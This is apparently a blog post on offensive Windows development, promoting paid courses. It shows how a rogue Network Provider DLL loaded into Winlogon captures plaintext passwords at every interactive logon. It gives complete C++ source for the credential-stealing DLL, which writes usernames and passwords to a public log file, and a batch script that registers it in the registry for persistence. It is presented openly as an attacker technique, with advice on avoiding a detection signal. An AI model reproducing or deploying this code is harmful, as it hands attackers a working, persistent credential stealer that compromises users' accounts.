Windows Network Provider DLL: Stealing Plaintext Credentials at Logon
Welcome to this new Medium post, in this one we will see how Windows gives attackers a legitimate extensibility point to extract plaintext credentials on every interactive logon. The Network Provider…

Welcome to this new Medium post, in this one we will see how Windows gives attackers a legitimate extensibility point to extract plaintext credentials on every interactive logon. The Network Provider API allows third party DLLs to register themselves into the Winlogon process. The interesting part is that when a user logs in, Windows calls those DLLs with a struct that contains the plaintext password before it ever gets hashed

Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
Introduction
Network Providers are DLLs that implement the Windows Network Provider API. They extend how Windows handles network authentication. The SMB redirector, the WebDAV client, and RDP all register as Network Providers. The list is controlled by a single registry key:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
ProviderOrder = MsLanman,RDPNP,LanmanWorkstation,webclient
Adding your DLL name here and creating a matching service entry is enough for Windows to load it into Winlogon at the next session start.
The API contract requires three exports: NPGetCaps, NPLogonNotify, and NPPasswordChangeNotify. Of these, NPLogonNotify is what matters. Windows calls it on every successful interactive logon, passing authentication information from the session that just authenticated
MSV1_0_INTERACTIVE_LOGON is the struct Windows passes for interactive (password) logons. It is defined in ntsecapi.h:
typedef struct _MSV1_0_INTERACTIVE_LOGON {
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON;The Password field is a UNICODE_STRING pointing to the plaintext password in memory. The password arrives as a function argument because Windows needs it to authenticate against downstream network resources
Methodology
The attack has two phases: registration and harvesting.
Registration happens once, requires administrative privileges, and survives reboots
Harvesting happens automatically on every subsequent interactive logon, inside Winlogon’s process space, with no additional attacker action required.
The registration:
- Create a service entry so Windows can locate the DLL. This goes under HKLM\SYSTEM\CurrentControlSet\Services\<name>\NetworkProvider with a ProviderPath value pointing to the DLL on disk
- Add the provider name to the load order by appending it to the ProviderOrder value under HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order.
- Drop the DLL to a stable path readable by SYSTEM. System32 is conventional but not required.
- Wait for a logon. No reboot needed. Winlogon reads the provider list at session startup. Logging out and back in is enough to verify the DLL loaded.
The harvesting:
- Windows loads the DLL into Winlogon on session start.
- On every interactive logon, Winlogon calls NPLogonNotify with the authentication type and a pointer to the auth info struct.
- We cast the struct, pull out domain, username, and password, and write them to our output channel
Implementation
NPLogonNotify
extern "C" __declspec(dllexport) DWORD APIENTRY NPLogonNotify(PLUID lpLogonId, LPCWSTR lpAuthentInfoType, LPVOID lpAuthentInfo, LPCWSTR lpPrevAuthentInfoType, LPVOID lpPrevAuthentInfo,
LPWSTR lpStationName, LPVOID StationHandle, LPWSTR* lpLogonScript) {
if (!lpAuthentInfo) {
*lpLogonScript = NULL;
return WN_SUCCESS;
}
__try {
ExtractMSV1(lpAuthentInfo);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
LogF(L"NPLogonNotify exception 0x%08X", GetExceptionCode());
}
*lpLogonScript = NULL;
return WN_SUCCESS;
}
Two things are non negotiable here.
First, *lpLogonScript = NULL must always be set before returning. Some providers use this pointer to run a script after logon. Leaving it uninitialized will crash Winlogon.
Second, the return value must be WN_SUCCESS. Returning an error causes Winlogon to log a provider failure, which is a detection signal
The __try/__except block is defensive. The lpAuthentInfo pointer is owned by Winlogon. If the auth type is Kerberos, smart card, or something like that, the struct layout will not match MSV1_0_INTERACTIVE_LOGON and the cast will fault. Catching the SEH exception silently keeps Winlogon process alive
ExtractMSV1
static void ExtractMSV1(LPVOID lpAuthentInfo) {
Log(L"ExtractMSV1 enter");
if (!lpAuthentInfo) {
Log(L"ExtractMSV1 lpAuthentInfo NULL");
return;
}
Log(L"ExtractMSV1 casting");
MSV1_0_INTERACTIVE_LOGON* msv = (MSV1_0_INTERACTIVE_LOGON*)lpAuthentInfo;
__try {
LogF(L"ExtractMSV1 UserName.Length=%u UserName.Buffer=%p", msv->UserName.Length, msv->UserName.Buffer);
LogF(L"ExtractMSV1 Domain.Length=%u Domain.Buffer=%p", msv->LogonDomainName.Length, msv->LogonDomainName.Buffer);
LogF(L"ExtractMSV1 Password.Length=%u Password.Buffer=%p", msv->Password.Length, msv->Password.Buffer);
WCHAR username[256] = { 0 };
WCHAR domain[256] = { 0 };
WCHAR password[256] = { 0 };
if (msv->UserName.Buffer && msv->UserName.Length) {
wcsncpy_s(username, 256, msv->UserName.Buffer, msv->UserName.Length / sizeof(WCHAR));
}
if (msv->LogonDomainName.Buffer && msv->LogonDomainName.Length) {
wcsncpy_s(domain, 256, msv->LogonDomainName.Buffer, msv->LogonDomainName.Length / sizeof(WCHAR));
}
if (msv->Password.Buffer && msv->Password.Length) {
wcsncpy_s(password, 256, msv->Password.Buffer, msv->Password.Length / sizeof(WCHAR));
}
LogF(L"CREDS domain=%s user=%s pass=%s", domain, username, password);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
LogF(L"ExtractMSV1 exception 0x%08X", GetExceptionCode());
}
Log(L"ExtractMSV1 exit");
}Here is where we extract all the credentials from the previously casted structrure
Full Code
#include <windows.h>
#include <winnetwk.h>
#include <ntsecapi.h>
#include <stdio.h>
#define WNNC_NET_TYPE 0x00000002
#define WNNC_NET_SMB 0x00020000
#define LOG_PATH L"C:\\Users\\Public\\np_debug.log"
static void WriteToLog(LPCWSTR line) {
HANDLE hFile = CreateFileW(LOG_PATH, FILE_APPEND_DATA,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD err = GetLastError();
HKEY hKey;
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\np_debug", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExW(hKey, L"CreateFileError", 0, REG_DWORD, (const BYTE*)&err, sizeof(DWORD));
RegCloseKey(hKey);
}
return;
}
DWORD w;
WriteFile(hFile, line, lstrlenW(line) * sizeof(WCHAR), &w, NULL);
CloseHandle(hFile);
}
static void Log(LPCWSTR msg) {
OutputDebugStringW(msg);
SYSTEMTIME st;
GetLocalTime(&st);
WCHAR line[2048] = { 0 };
_snwprintf_s(line, 2048, _TRUNCATE, L"[%02d:%02d:%02d.%03d] %s\r\n", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, msg);
WriteToLog(line);
}
static void LogF(LPCWSTR fmt, ...) {
WCHAR msg[1024] = { 0 };
va_list args;
va_start(args, fmt);
_vsnwprintf_s(msg, 1024, _TRUNCATE, fmt, args);
va_end(args);
Log(msg);
}
static void ExtractMSV1(LPVOID lpAuthentInfo) {
Log(L"ExtractMSV1 enter");
if (!lpAuthentInfo) {
Log(L"ExtractMSV1 lpAuthentInfo NULL");
return;
}
Log(L"ExtractMSV1 casting");
MSV1_0_INTERACTIVE_LOGON* msv = (MSV1_0_INTERACTIVE_LOGON*)lpAuthentInfo;
__try {
LogF(L"ExtractMSV1 UserName.Length=%u UserName.Buffer=%p", msv->UserName.Length, msv->UserName.Buffer);
LogF(L"ExtractMSV1 Domain.Length=%u Domain.Buffer=%p", msv->LogonDomainName.Length, msv->LogonDomainName.Buffer);
LogF(L"ExtractMSV1 Password.Length=%u Password.Buffer=%p", msv->Password.Length, msv->Password.Buffer);
WCHAR username[256] = { 0 };
WCHAR domain[256] = { 0 };
WCHAR password[256] = { 0 };
if (msv->UserName.Buffer && msv->UserName.Length) {
wcsncpy_s(username, 256, msv->UserName.Buffer, msv->UserName.Length / sizeof(WCHAR));
}
if (msv->LogonDomainName.Buffer && msv->LogonDomainName.Length) {
wcsncpy_s(domain, 256, msv->LogonDomainName.Buffer, msv->LogonDomainName.Length / sizeof(WCHAR));
}
if (msv->Password.Buffer && msv->Password.Length) {
wcsncpy_s(password, 256, msv->Password.Buffer, msv->Password.Length / sizeof(WCHAR));
}
LogF(L"CREDS domain=%s user=%s pass=%s", domain, username, password);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
LogF(L"ExtractMSV1 exception 0x%08X", GetExceptionCode());
}
Log(L"ExtractMSV1 exit");
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
OutputDebugStringW(L"[np] DLL_PROCESS_ATTACH");
Log(L"DllMain PROCESS_ATTACH");
DWORD pid = GetCurrentProcessId();
HKEY hKey;
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\np_debug", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExW(hKey, L"LoadedByPID", 0, REG_DWORD, (const BYTE*)&pid, sizeof(DWORD));
RegCloseKey(hKey);
}
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH) {
OutputDebugStringW(L"[np] DLL_PROCESS_DETACH");
Log(L"DllMain PROCESS_DETACH");
}
return TRUE;
}
extern "C" __declspec(dllexport) DWORD APIENTRY NPGetCaps(DWORD nIndex) {
LogF(L"NPGetCaps nIndex=%u", nIndex);
switch (nIndex) {
case 2: return 0x00250000;
case 4: return 0x00050001;
default: return 0;
}
}
extern "C" __declspec(dllexport) DWORD APIENTRY NPLogonNotify(PLUID lpLogonId, LPCWSTR lpAuthentInfoType, LPVOID lpAuthentInfo, LPCWSTR lpPrevAuthentInfoType, LPVOID lpPrevAuthentInfo, LPWSTR lpStationName, LPVOID StationHandle, LPWSTR* lpLogonScript) {
LogF(L"NPLogonNotify enter type=%s station=%s", lpAuthentInfoType ? lpAuthentInfoType : L"<null>", lpStationName ? lpStationName : L"<null>");
LogF(L"NPLogonNotify lpAuthentInfo=%p lpPrevAuthentInfo=%p", lpAuthentInfo, lpPrevAuthentInfo);
if (!lpAuthentInfo) {
Log(L"NPLogonNotify lpAuthentInfo NULL skip");
*lpLogonScript = NULL;
return WN_SUCCESS;
}
__try {
ExtractMSV1(lpAuthentInfo);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
LogF(L"NPLogonNotify exception 0x%08X", GetExceptionCode());
}
Log(L"NPLogonNotify exit");
*lpLogonScript = NULL;
return WN_SUCCESS;
}
extern "C" __declspec(dllexport) DWORD APIENTRY NPPasswordChangeNotify(LPCWSTR lpAuthentInfoType, LPVOID lpAuthentInfo, LPCWSTR lpPrevAuthentInfoType, LPVOID lpPrevAuthentInfo, LPWSTR lpStationName, LPVOID StationHandle, DWORD dwChangeInfo) {
LogF(L"NPPasswordChangeNotify type=%s station=%s dwChangeInfo=%u", lpAuthentInfoType ? lpAuthentInfoType : L"<null>", lpStationName ? lpStationName : L"<null>", dwChangeInfo);
return WN_SUCCESS;
}
Proof of Concept
Once the DLL is compiled we need to register it, to do this we need to follow two steps, the first step is copy the compiled DLL into System32, in my case with the name of: np.dll
For the second step I got a .bat script:
@echo off
:: Network Provider install script
:: Requires: admin, and DLL already copied to System32
set DLL_NAME=np
set DLL_PATH=%SystemRoot%\System32\%DLL_NAME%.dll
echo Registrando Network Provider...
:: Provider path
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%DLL_NAME%\NetworkProvider" /v ProviderPath /t REG_EXPAND_SZ /d "%DLL_PATH%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%DLL_NAME%\NetworkProvider" /v Class /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%DLL_NAME%\NetworkProvider" /v Name /t REG_SZ /d "%DLL_NAME%" /f
for /f "tokens=3*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder 2^>nul') do set CURRENT_ORDER=%%a %%b
reg add "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder /t REG_SZ /d "%DLL_NAME%,%CURRENT_ORDER%" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableMPR /t REG_DWORD /d 1 /f
echo.
echo Verificacion:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\%DLL_NAME%\NetworkProvider"
echo.
reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder
echo.
echo Reboot to apply changes.
Then just run the .bat as admin, restart the machine and when you login check the log file:

Conclusions
The Network Provider interface is a Windows feature that allows any attacker with admin privileges by implementing just three exports, a DLL can receive plaintext credentials every time a user logs in.
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.